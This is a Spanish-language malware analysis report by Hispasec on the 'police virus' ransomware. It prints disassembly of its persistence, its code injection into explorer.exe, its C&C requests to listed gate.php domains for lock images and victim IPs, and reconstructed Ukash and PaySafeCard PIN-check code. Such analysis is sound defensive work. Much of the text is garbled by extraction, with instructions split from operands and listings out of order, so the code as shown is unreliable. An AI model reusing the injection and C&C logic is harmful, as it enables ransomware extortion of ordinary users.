Documentos de Académico
Documentos de Profesional
Documentos de Cultura
Troyano Policia
Troyano Policia
HISPASEC SISTEMAS
HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGAS
DE
LA INFORMACIN
SEGURIDAD
Y TECNOLOGAS
DE LA INFORMACIN
ndice
1
INTRODUCCIN
ANLISIS TCNICO
2.1
VIRUSTOTAL
2.2
CDIGO INICIAL
2.3
2.4
2.5
EL HILO THREADPINWINDOW
16
2.6
UKASH
17
2.7
18
2.8
PAYSAFECARD
21
2.9
23
23
Informacin General
info@hispasec.com
Comercial
comercial@hispasec.com
www.hispasec.com
www.hispasec.com
Copyright
El Copyright de este documento es propiedad de
Hispasec Sistemas S.L. Hispasec Sistemas S.L.
proporciona este documento bajo la condicin de
que ser tratado con confidencialidad. No est
permitida su reproduccin total o parcial ni su uso
con otras organizaciones para ningn otro
propsito, excepto autorizacin previa por escrito.
HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGAS
DE LA INFORMACIN
1 Introduccin
De un tiempo a esta parte el virus de la polica se ha convertido en una epidemia
en toda Europa. El que actualmente est invadiendo los sistemas operativos
Windows de los usuarios, parece una variante de una primera muestra encontrada
en el verano de 2011. Esta muestra bloqueaba el sistema en el arranque, con una
pantalla como esta que impeda el acceso al escritorio:
http://www.youtube.com/embed/4KtjhILjdjM
www.hispasec.com
HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGAS
DE LA INFORMACIN
www.hispasec.com
HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGAS
DE LA INFORMACIN
www.hispasec.com
HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGAS
DE LA INFORMACIN
2 Anlisis tcnico
Ante el inters que est alcanzando el asunto en toda Europa, con una de las
epidemias ms virulentas de los ltimos tiempos, hemos analizado una muestra en
profundidad.
2.1 VirusTotal
Un resumen de las fechas de llegada y deteccin por firmas en VirusTotal son:
2012/02/24 20:44
2012/02/27 15:40
2012/03/03 10:22
2012/03/09 11:42
2012/03/17 23:21
www.hispasec.com
HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGAS
DE LA INFORMACIN
call
push
call
test
jz
mov
xor
test
jle
ds:GetCommandLineW
eax
; _DWORD
ds:CommandLineToArgvW
eax, eax
short no_args_run
esi, [ebp+argc]
edx, edx
esi, esi
short loc_4012DB
mov
test
jz
cmp
jnz
movzx
cmp
jz
cmp
jz
cmp
jnz
mov
jmp
;
ecx, [eax+edx*4]
ecx, ecx
short loc_4012D6
word ptr [ecx], '-'
short loc_4012D6
ecx, word ptr [ecx+2]
ecx, 'b'
short loc_4012CF
ecx, 'i'
short loc_4012CB
ecx, 'u'
short loc_4012D6
[ebp+u_flag], 1
short loc_4012D6
-b
-i
-u
Sin parmetros (que estudiamos a continuacin).
.text:004012FA no_args_run:
.text:004012FA
.text:004012FF
.text:004012FF loc_4012FF:
.text:004012FF
.text:00401301
call
sub_401000
push
call
0
ds:ExitProcess
lea
push
push
mov
ecx, [esp+42Ch+AppDataPath]
ecx
; lpDst
offset Src
; "%APPDATA%"
esi, eax
; uExitCode
www.hispasec.com
.text:00401035
.text:00401039
.text:0040103A
.text:0040103F
HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGAS
DE LA INFORMACIN
.text:00401041
.text:00401047
.text:0040104C
.text:00401051
.text:00401056
.text:0040105A
.text:0040105B
"%s\\%s\\%s%s"
.text:00401060
.text:00401065
.text:00401066
.text:0040106C
.text:0040106F
lpSecurityAttributes
.text:00401071
.text:00401072
call
push
push
push
lea
push
push
ds:ExpandEnvironmentStringsW
offset byte_406124
offset byte_406124
offset ValueName ; "kodak"
edx, [esp+434h+AppDataPath]
edx
offset aSSSS
;
push
push
call
add
push
104h
esi
ds:wnsprintfW
esp, 1Ch
0
push
call
esi
; lpPathName
ds:CreateDirectoryW
; _DWORD
; _DWORD
push
push
push
push
call
0
;
offset unk_40617C
offset unk_4061D0
0
;
ds:MessageBoxW
_DWORD
; _DWORD
; _DWORD
_DWORD
HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGAS
DE LA INFORMACIN
.text:004010A3
.text:004010A8
.text:004010AA
.text:004010AB
.text:004010B1
.text:004010B6
.text:004010BA
.text:004010BB
.text:004010C0
.text:004010C2
.text:004010C8
.text:004010CD
.text:004010D2
.text:004010D7
.text:004010DB
.text:004010DC
"%s\\%s\\%s%s"
.text:004010E1
.text:004010E6
.text:004010E7
.text:004010ED
.text:004010F0
.text:004010F2
.text:004010F3
.text:004010F8
lpExistingFileName
.text:004010F9
push
push
push
call
push
lea
push
push
mov
call
push
push
push
lea
push
push
104h
; dwBytes
8
; dwFlags
eax
; hHeap
ds:HeapAlloc
208h
; nSize
ecx, [esp+42Ch+AppDataPath]
ecx
; lpDst
offset Src
; "%APPDATA%"
esi, eax
ds:ExpandEnvironmentStringsW
offset a_exe
; ".exe"
offset ValueName ; "kodak"
offset ValueName ; "kodak"
edx, [esp+434h+AppDataPath]
edx
offset aSSSS
;
push
push
call
add
push
push
call
push
104h
esi
ds:wnsprintfW
esp, 1Ch
0
esi
getFilePath
eax
call
ds:CopyFileW
; _DWORD
; _DWORD
; bFailIfExists
; lpNewFileName
;
mov
mov
call
push
call
www.hispasec.com
.text:004013A1 @b_flag:
start+BCj
.text:004013A1
.text:004013A7
.text:004013AC
.text:004013AE
.text:004013AF
.text:004013B5
.text:004013BA
.text:004013C0
; CODE XREF:
mov
push
push
push
call
push
lea
push
ecx, ds:hHeap
104h
8
ecx
ds:HeapAlloc
208h
edx, [ebp+Dst]
edx
; dwBytes
; dwFlags
; hHeap
; nSize
; lpDst
HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGAS
DE LA INFORMACIN
.text:004013C1
.text:004013C6
.text:004013C8
.text:004013CE
.text:004013D3
.text:004013D8
.text:004013DD
.text:004013E3
.text:004013E4
"%s\\%s\\%s%s"
.text:004013E9
.text:004013EE
.text:004013EF
.text:004013F5
.text:004013F8
.text:004013FA
dwFlagsAndAttributes
.text:004013FF
dwCreationDisposition
.text:00401401
lpSecurityAttributes
.text:00401403
.text:00401405
dwDesiredAccess
.text:0040140A
.text:0040140B
.text:00401411
.text:00401414
.text:00401416
.text:00401417
.text:0040141D
push
mov
call
push
push
push
lea
push
push
offset Src
; "%APPDATA%"
esi, eax
ds:ExpandEnvironmentStringsW
offset a_txt
; ".txt"
offset aPinok
; "pinok"
offset ValueName ; "kodak"
eax, [ebp+Dst]
eax
offset aSSSS
;
push
push
call
add
push
push
104h
esi
ds:wnsprintfW
esp, 1Ch
0
80h
; _DWORD
; _DWORD
push
OPEN_EXISTING
push
push
push
1
80000000h
; dwShareMode
;
push
call
cmp
jnz
push
call
jmp
esi
; lpFileName
ds:CreateFileW
eax, 0FFFFFFFFh
short file_exists
eax
; hObject
ds:CloseHandle
there_is_no_file
; hTemplateFile
;
www.hispasec.com
.text:00401422 file_exists:
start+1E4j
.text:00401422
.text:00401423
.text:00401429
key entry
.text:0040142E
.text:00401434
.text:00401439
.text:0040143B
.text:0040143C
.text:00401442
.text:00401447
.text:0040144D
.text:0040144E
.text:00401453
.text:00401455
.text:0040145B
.text:00401460
.text:00401465
.text:0040146A
.text:00401470
.text:00401471
"%s\\%s\\%s%s"
.text:00401476
.text:0040147B
; CODE XREF:
push
call
call
eax
; hObject
ds:CloseHandle
remove_b_flag ; remove autorun
mov
push
push
push
call
push
lea
push
push
mov
call
push
push
push
lea
push
push
ecx, ds:hHeap
104h
; dwBytes
8
; dwFlags
ecx
; hHeap
ds:HeapAlloc
208h
; nSize
edx, [ebp+Dst]
edx
; lpDst
offset Src
; "%APPDATA%"
esi, eax
ds:ExpandEnvironmentStringsW
offset a_exe
; ".exe"
offset ValueName ; "kodak"
offset ValueName ; "kodak"
eax, [ebp+Dst]
eax
offset aSSSS
;
push
push
104h
esi
; _DWORD
; _DWORD
10
HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGAS
DE LA INFORMACIN
.text:0040147C
.text:00401482
.text:00401488
.text:0040148B
.text:0040148C
.text:0040148E
.text:00401494
.text:00401499
.text:0040149B
.text:0040149C
.text:004014A2
.text:004014A7
.text:004014AD
.text:004014AE
.text:004014B3
.text:004014B5
.text:004014BB
.text:004014C0
.text:004014C5
.text:004014CA
.text:004014D0
.text:004014D1
"%s\\%s\\%s%s"
.text:004014D6
.text:004014DB
.text:004014DC
.text:004014E2
.text:004014E5
.text:004014E6
.text:004014E8
.text:004014EA
call
mov
add
push
call
mov
push
push
push
call
push
lea
push
push
mov
call
push
push
push
lea
push
push
ds:wnsprintfW
edi, ds:DeleteFileW_0
esp, 1Ch
esi
; _DWORD
edi ; DeleteFileW_0
ecx, ds:hHeap
104h
; dwBytes
8
; dwFlags
ecx
; hHeap
ds:HeapAlloc
208h
; nSize
edx, [ebp+var_20C]
edx
; lpDst
offset Src
; "%APPDATA%"
esi, eax
ds:ExpandEnvironmentStringsW
offset a_tmp
; ".tmp"
offset aOld
; "old"
offset ValueName ; "kodak"
eax, [ebp+var_20C]
eax
offset aSSSS
;
push
push
call
add
push
call
push
call
104h
; _DWORD
esi
; _DWORD
ds:wnsprintfW
esp, 1Ch
esi
; _DWORD
edi ; DeleteFileW_0
0
; uExitCode
ds:ExitProcess
www.hispasec.com
.text:00401516
.text:0040151C
.text:00401521
.text:00401523
.text:00401524
.text:0040152A
.text:0040152F
.text:00401535
.text:00401536
.text:0040153B
.text:0040153D
.text:00401543
.text:00401548
.text:0040154D
mov
push
push
push
call
push
lea
push
push
mov
call
push
push
push
ecx, ds:hHeap
104h
; dwBytes
8
; dwFlags
ecx
; hHeap
ds:HeapAlloc
208h
; nSize
edx, [ebp+var_20C]
edx
; lpDst
offset Src
; "%APPDATA%"
esi, eax
ds:ExpandEnvironmentStringsW
offset a_bmp
; ".bmp"
offset aPic
; "pic"
offset ValueName ; "kodak"
11
HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGAS
DE LA INFORMACIN
.text:00401552
.text:00401558
.text:00401559
"%s\\%s\\%s%s"
.text:0040155E
.text:00401563
.text:00401564
.text:0040156A
.text:0040156D
.text:0040156F
dwFlagsAndAttributes
.text:00401574
dwCreationDisposition
.text:00401576
lpSecurityAttributes
.text:00401578
.text:0040157A
dwDesiredAccess
.text:0040157F
.text:00401580
.text:00401586
.text:00401589
lea
push
push
eax, [ebp+var_20C]
eax
offset aSSSS
;
push
push
call
add
push
push
104h
esi
ds:wnsprintfW
esp, 1Ch
0
80h
; _DWORD
; _DWORD
push
OPEN_EXISTING
push
push
push
1
80000000h
; dwShareMode
;
push
call
cmp
jnz
esi
; lpFileName
ds:CreateFileW
eax, 0FFFFFFFFh
bmp_file_exists
push
call
call
push
push
eax
ds:CloseHandle
getExplorerPID
eax
0
; hObject
push
47Ah
call
push
mov
call
push
call
mov
add
test
jz
push
call
push
push
ds:OpenProcess
0
; lpModuleName
esi, eax
ds:GetModuleHandleW
esi
code_injection
edi, eax
esp, 4
edi, edi
short no_mutex
0
; lpModuleName
ds:GetModuleHandleW
0
; lpThreadId
0
;
mov
push
add
sub
push
push
push
0
0
push
call
esi
; hProcess
ds:CreateRemoteThread
; hTemplateFile
;
www.hispasec.com
.text:0040158F
.text:00401590
.text:00401596
.text:0040159B
.text:0040159C
bInheritHandle
.text:0040159E
dwDesiredAccess
.text:004015A3
.text:004015A9
.text:004015AB
.text:004015AD
.text:004015B3
.text:004015B4
.text:004015B9
.text:004015BB
.text:004015BE
.text:004015C0
.text:004015C2
.text:004015C4
.text:004015CA
.text:004015CC
dwCreationFlags
.text:004015CE
.text:004015D3
.text:004015D5
.text:004015D7
.text:004015D9
lpStartAddress
.text:004015DA
.text:004015DC
lpThreadAttributes
.text:004015DE
.text:004015DF
.text:004015E5
; dwProcessId
;
; dwStackSize
;
12
HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGAS
DE LA INFORMACIN
.text:004015E5 no_mutex:
start+390j
.text:004015E5
.text:004015E5
dwMilliseconds
.text:004015EA
.text:004015F0
"jwefweqwwewqeqwe"
.text:004015F5
bInheritHandle
.text:004015F7
dwDesiredAccess
.text:004015FC
.text:00401602
.text:00401604
.text:00401605
.text:00401608
.text:0040160E
.text:00401610
; CODE XREF:
push
4000
; start+3E0j
;
call
push
ds:Sleep
offset Name
push
push
1F0001h
call
test
push
setnz
call
test
jnz
ds:OpenMutexW
eax, eax
eax
bl
ds:CloseHandle
bl, bl
short no_mutex
; hObject
www.hispasec.com
.text:0040233A
mov
.text:0040233F
mov
.text:00402346
push
.text:00402347
push
"/%s?getpic=getpic"
.text:0040234C
lea
.text:00402353
push
.text:00402358
push
.text:00402359
call
.text:0040235F
mov
.text:00402365
mov
lpszServerName
.text:0040236C
lea
.text:00402373
push
.text:00402374
lea
.text:00402378
call
getRequest(domain,scriptPath,response)
.text:0040237D
add
.text:00402380
push
.text:00402385
mov
response
.text:00402387
push
.text:00402388
call
.text:0040238E
test
.text:00402390
jz
.text:00402396
mov
.text:0040239B
push
.text:004023A0
push
.text:004023A2
push
.text:004023A3
call
.text:004023A9
push
.text:004023AE
lea
.text:004023B5
push
.text:004023B6
push
.text:004023BB
mov
.text:004023BD
call
eax, ds:C_i_C_index
ecx, ds:scripts_array[eax*4]
ecx
offset aS?getpicGetpic ;
edx, [esp+ scriptPath]
104h
; _DWORD
edx
; _DWORD
ds:wnsprintfA
ecx, ds:C_i_C_index
ecx, ds:domains_array[ecx*4] ;
eax, [esp+scriptPath]
eax
edi, [esp+response]
getRequest ;
esp, 14h
offset aHttp
edx, edi
; "http://"
; edi =
edx
; _DWORD
ds:StrStrIA
eax, eax
no_pic_url
eax, ds:hHeap
104h
; dwBytes
8
; dwFlags
eax
; hHeap
ds:HeapAlloc
208h
; nSize
ecx, [esp+234h]
ecx
; lpDst
offset Src
; "%APPDATA%"
esi, eax
ds:ExpandEnvironmentStringsW
13
HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGAS
DE LA INFORMACIN
.text:004023C3
push
offset a_bmp
; ".bmp"
.text:004023C8
push
offset aPic
; "pic"
.text:004023CD
push
offset ValueName ; "kodak"
.text:004023D2
lea
edx, [esp+23Ch]
.text:004023D9
push
edx
.text:004023DA
push
offset aSSSS
;
"%s\\%s\\%s%s"
.text:004023DF
push
104h
; _DWORD
.text:004023E4
push
esi
; _DWORD
.text:004023E5
call
ds:wnsprintfW
.text:004023EB
add
esp, 1Ch
.text:004023EE
push
0
; lpName
.text:004023F0
push
0
; bInitialState
.text:004023F2
push
1
; bManualReset
.text:004023F4
push
0
;
lpEventAttributes
.text:004023F6
call
ds:CreateEventW
.text:004023FC
push
0
; dwFlags
.text:004023FE
push
0
;
lpszProxyBypass
.text:00402400
push
0
; lpszProxy
.text:00402402
push
0
; dwAccessType
.text:00402404
push
offset szAgent ; "Mozilla/4.0
(compatible; MSlE 6.0; Wind"...
.text:00402409
mov
ds:hEventPackage, eax
.text:0040240E
call
ds:InternetOpenA
.text:00402414
push
0
; dwContext
.text:00402416
push
84043300h
; dwFlags
.text:0040241B
push
0
;
dwHeadersLength
.text:0040241D
push
0
; lpszHeaders
.text:0040241F
mov
ecx, edi
.text:00402421
push
ecx
; lpszUrl
.text:00402422
push
eax
; hInternet
.text:00402423
mov
ds:hInternet, eax
.text:00402428
call
ds:InternetOpenUrlA
.text:0040242E
mov
edi, eax ; eax =
hInternetOpenUrl
.text:00402430
test
edi, edi
.text:00402432
jz
short loc_402442
.text:00402434
mov
ecx, esi
; esi =
pathToBMPFile
.text:00402436
call
downloadFileTo ;
downloadFileTo(pathToBMPFile, hInternetOpenUrl)
El troyano va construyendo una URL que apunta a su vez a un script que devuelve
a su vez una URL cuyo contenido ser almacenada como pic.bmp. Esto lo hace
para elegir la imagen correcta segn el pas (se calcula del lado del servidor
calculando de dnde le viene la peticin). La creacin de las URL tiene algunas
curiosidades.
C_i_C_index: Este es el ndice del C&C que se mueve en un rango de 0 a 19.
scripts_array: Contiene las rutas al script. Sus elementos son:
www.hispasec.com
1.
2.
3.
4.
5.
"loc/gate.php"
"loc/gate.php"
"loc/gate.php"
"loc/gate.php"
"loc/gate.php"
14
HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGAS
DE LA INFORMACIN
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
"loc/gate.php"
"zip/gate.php"
"pic8/gate.php"
"win/gate.php"
"prog/gate.php"
"tron/gate.php"
"milk/gate.php"
"zerro/gate.php"
"code/gate.php"
"plea/gate.php"
"zuum/gate.php"
"leex/gate.php"
"mozy/gate.php"
"like/gate.php"
"cow/gate.php"
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
"lertionk02.be".
"lertionk03.be"
"lertionk04.be"
"lertionk05.be"
"lertionk06.be"
"lertionk07.be"
"localhost7"
"localhost8"
"localhost9"
"localhost10"
"localhost11"
"localhost12"
"localhost13"
"localhost14"
"localhost15"
"localhost16"
"localhost17"
"localhost18"
"localhost19"
"localhost20"
Localhost? S... Nos sabemos si se trata quizs de otro resto de las pruebas del
creador.
Despus de descargar pic.bmp (que contendr la imagen adecuada que se muestra
segn el pas desde el que se haga la solicitud) el troyano acude a las URL arriba
mencionadas, pero con los parmetros getip=getip. As, conociendo nuestra IP
externa, la almacena en ip.txt. Esto lo usar para incrustar la IP en la imagen y dar
credibilidad a la estafa.
Existe otro escenario que se puede dar. Y si en vez de la IP, la consulta devuelve
un comando del?
www.hispasec.com
.text:004024F4
.text:004024F9
push
lea
offset aDel
ecx, [esp+24h]
; "del"
15
HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGAS
DE LA INFORMACIN
.text:004024FD
.text:004024FE
.text:00402504
.text:00402506
.text:0040250C
.text:00402511
.text:00402517
.text:0040251C
.text:0040251E
.text:0040251F
.text:00402525
.text:00402527
.text:0040252C
.text:00402533
.text:00402534
.text:00402539
.text:0040253F
.text:00402544
.text:00402549
.text:0040254E
push
call
test
jz
call
mov
push
push
push
call
mov
push
lea
push
push
call
push
push
push
lea
ecx
; _DWORD
ds:StrStrIA
eax, eax
loc_402686
remove_b_flag
edx, ds:hHeap
104h
; dwBytes
8
; dwFlags
edx
; hHeap
ds:HeapAlloc
esi, eax
208h
; nSize
eax, [esp+234h]
eax
; lpDst
offset Src
; "%APPDATA%"
ds:ExpandEnvironmentStringsW
offset a_bmp
; ".bmp"
offset aPic
; "pic"
offset ValueName ; "kodak"
ecx, [esp+23Ch]
[...]
El troyano intenta borrar pic.bmp, kodak.exe, ip.txt y old.tmp (veremos qu es
este ltimo ms adelante). O sea, desde el servidor se le puede dar una orden a
todos los infectados de que se desinfecten ellos mismos.
Hasta ahora, este es el cdigo inyectado en Explorer.exe. Volvamos a Kodak.exe.
El troyano comprueba si se ha creado bien el fichero BMP. Si es as, intenta borrar
el fichero old.tmp y despus vuelve a crear dos hilos:
www.hispasec.com
16
HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGAS
DE LA INFORMACIN
eax, 10002
btnOKClicked
eax, ds:hEdit
104h
; _DWORD
offset buffer
; _DWORD
eax
; _DWORD
ds:GetWindowTextW
offset a1029384756 ;
offset buffer
; _DWORD
ds:StrStrIW
eax, eax
short no_universal_pin
0
; _DWORD
ds:PostQuitMessage
; CODE XREF:
2.6 Ukash
www.hispasec.com
.text:0040517E
.text:00405185
.text:0040518B
.text:00405190
.text:00405192
cmp
jz
call
test
jz
17
HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGAS
DE LA INFORMACIN
.text:00405198
code
.text:0040519D
.text:004051A2
.text:004051A7
.text:004051AA
.text:004051AC
.text:004051B1
.text:004051B6
.text:004051BB
.text:004051BD
push
offset buffer
; passed pin
mov
call
add
push
mov
mov
call
mov
call
"029",
18
HISPASEC SISTEMAS
"030",
SEGURIDAD Y TECNOLOGAS
DE LA INFORMACIN
"031",
"034",
"035",
"036",
"037",
"039",
"041",
"042",
"043",
"046",
"151"};
if(strlen(pin) != 19)
{
printf("BAD PIN sorry");
goto error;
}
int v1 = 0;
bool pinOK = false;
do
{
lstrcpyA(String1, "633718");
lstrcatA(String1, tab[v1]);
if ( StrStrIA(pin, String1) )
pinOK = true;
if ( StrStrIA(pin, "0000000000000000")
|| StrStrIA(pin, "0000000000000001")
|| StrStrIA(pin, "0000000000000011")
|| StrStrIA(pin, "1111111111111111")
|| StrStrIA(pin, "2222222222222222")
|| StrStrIA(pin, "3333333333333333")
|| StrStrIA(pin, "4444444444444444")
www.hispasec.com
|| StrStrIA(pin, "5555555555555555")
|| StrStrIA(pin, "6666666666666666")
19
HISPASEC SISTEMAS
|| StrStrIA(pin, "7777777777777777")
SEGURIDAD Y TECNOLOGAS
DE LA INFORMACIN
|| StrStrIA(pin, "8888888888888888")
|| StrStrIA(pin, "9999999999999999")
|| StrStrIA(pin, "12345")
|| StrStrIA(pin, "6789")
|| StrStrIA(pin, "9876")
|| StrStrIA(pin, "54321")
|| StrStrIA(pin, "1111")
|| StrStrIA(pin, "2222")
|| StrStrIA(pin, "3333")
|| StrStrIA(pin, "4444")
|| StrStrIA(pin, "5555")
|| StrStrIA(pin, "6666")
|| StrStrIA(pin, "7777")
|| StrStrIA(pin, "8888")
|| StrStrIA(pin, "9999")
|| StrStrIA(pin, "0000") )
pinOK = false;
error:
printf("pinOK = %d",pinOK);
return 0;
}
www.hispasec.com
Correct
Correct
Correct
Correct
Correct
Correct
Correct
Correct
Correct
Correct
Correct
Correct
Correct
Correct
Correct
Correct
Correct
Correct
Correct
Correct
Correct
Correct
Correct
pin
pin
pin
pin
pin
pin
pin
pin
pin
pin
pin
pin
pin
pin
pin
pin
pin
pin
pin
pin
pin
pin
pin
base
base
base
base
base
base
base
base
base
base
base
base
base
base
base
base
base
base
base
base
base
base
base
value:
value:
value:
value:
value:
value:
value:
value:
value:
value:
value:
value:
value:
value:
value:
value:
value:
value:
value:
value:
value:
value:
value:
633718001
633718011
633718018
633718021
633718022
633718023
633718024
633718025
633718026
633718027
633718028
633718029
633718030
633718031
633718034
633718035
633718036
633718037
633718039
633718041
633718042
633718043
633718046
20
HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGAS
DE LA INFORMACIN
o
o
2.8 PaySafeCard
.text:0040536B
0
.text:00405372
.text:00405376
.text:0040537C
.text:00405381
.text:00405383
.text:00405389
.text:0040538E
.text:00405393
.text:00405398
.text:0040539B
.text:0040539D
.text:004053A2
.text:004053A7
.text:004053AC
.text:004053AE
cmp
mov
jz
call
test
jz
push
mov
call
add
push
mov
mov
call
mov
call
ebx, [esp+60h+var_54]
loc_405554
checkPINPaysafecard
al, al
loc_405508
offset buffer
; ip_address
edi, offset aPinok ; "pinok"
writeToFile
esp, 4
0
ebx, offset a_exeI ; ".exe -i"
edi, offset ValueName ; "kodak"
getKodakPath
esi, eax
regChangeKodak
Hace lo mismo que en el caso de Ukash. Lo nico que cambia es la funcin para
comprobar checkPin.
bool checkPINPaysafecard ()
{
bool pinOK = true;
|| StrStrIW(&pin, L"7777777777777777")
21
HISPASEC SISTEMAS
|| StrStrIW(&pin, L"8888888888888888")
SEGURIDAD Y TECNOLOGAS
DE LA INFORMACIN
|| StrStrIW(&pin, L"9999999999999999")
|| StrStrIW(&pin, L"12345")
|| StrStrIW(&pin, L"6789")
|| StrStrIW(&pin, L"9876")
|| StrStrIW(&pin, L"54321")
|| StrStrIW(&pin, L"1111")
|| StrStrIW(&pin, L"2222")
|| StrStrIW(&pin, L"3333")
|| StrStrIW(&pin, L"4444")
|| StrStrIW(&pin, L"5555")
|| StrStrIW(&pin, L"6666")
|| StrStrIW(&pin, L"7777")
|| StrStrIW(&pin, L"8888")
|| StrStrIW(&pin, L"9999")
|| StrStrIW(&pin, L"0000") )
pinOK = false;
}
else
{
pinOK = false;
}
return pinOK;
}
www.hispasec.com
.text:00401ACB
.text:00401AD0
lpszServerName
.text:00401AD7
"partner_024"
.text:00401ADC
.text:00401ADD
"/%s?user=%s&upg=upg"
.text:00401AE2
.text:00401AE9
.text:00401AEE
.text:00401AEF
.text:00401AF5
.text:00401AFB
.text:00401B02
.text:00401B09
.text:00401B0C
.text:00401B0D
mov
mov
eax, ds:C_i_C_index
ecx, ds:scripts_array[eax*4] ;
push
offset aPartner_024 ;
push
push
ecx
offset aS?userSUpgUpg ;
lea
push
push
call
mov
mov
lea
add
push
lea
edx, [esp+774h]
104h
; _DWORD
edx
; _DWORD
ds:wnsprintfA
ecx, ds:C_i_C_index
ecx, ds:domains_array[ecx*4]
eax, [esp+77Ch]
esp, 14h
eax
edi, [esp+55Ch]
22
HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGAS
DE LA INFORMACIN
.text:00401B14
.text:00401B19
.text:00401B1C
.text:00401B21
.text:00401B23
.text:00401B24
call
add
push
mov
push
call
getRequest
esp, 4
offset aHttp
edx, edi
edx
ds:StrStrIA
; "http://"
; _DWORD
ebx
getOSVersion
ecx, ds:C_i_C_index
edx, ds:scripts_arrays[ecx*4]
eax
edi
offset aPartner_024 ;
edx
offset aS?userSUidSOsI ;
eax, [esp+678h]
104h
; _DWORD
eax
; urlPath
ds:wnsprintfA
www.hispasec.com
23